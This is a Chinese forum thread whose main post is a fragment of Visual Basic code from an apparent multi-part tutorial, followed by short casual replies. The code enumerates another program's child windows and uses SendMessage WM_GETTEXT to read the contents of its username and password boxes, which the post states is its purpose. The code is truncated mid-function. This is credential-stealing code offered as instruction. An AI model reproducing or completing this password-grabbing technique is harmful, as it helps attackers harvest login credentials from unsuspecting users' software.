标题:【求助】讨教（待续）
作者:小色猫
时间:8/13 18:57
num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) \'取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function
（6）通过（5）已得到了用户名、密码框的类名，也就取得了句柄，这一步进行取值
自定义取得子窗口的值的函数，写在 Module1.bas 文件中
Public Function GetWinText(window_hwnd As Long) As String \'取得子窗口的值
Dim txtlen As Long
Dim txt As String
\'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = \"\"
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = \"ComboBox\" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
..
下页 上页
回复本帖|发新话题
回复列表 (6)
#1 根本没人看。
[芗城土著 8/13 21:32]
#2 不是没人看是他们看不懂！~！
[小色猫 8/13 23:35]
#3 看来你是看懂了。。我怎么看的 ..
[丸子 8/13 23:58]
#4 你来了啊怎么我发的文章总被删啊
[小色猫 8/14 00:14]
#5 这个问题你已经从市长办公室问 ..
[微蓝 8/14 00:20]
#6 什么呀！！！
看不懂
[被淹的鱼儿 9/1 22:59]
<<下一主题
>>上一主题
返回版块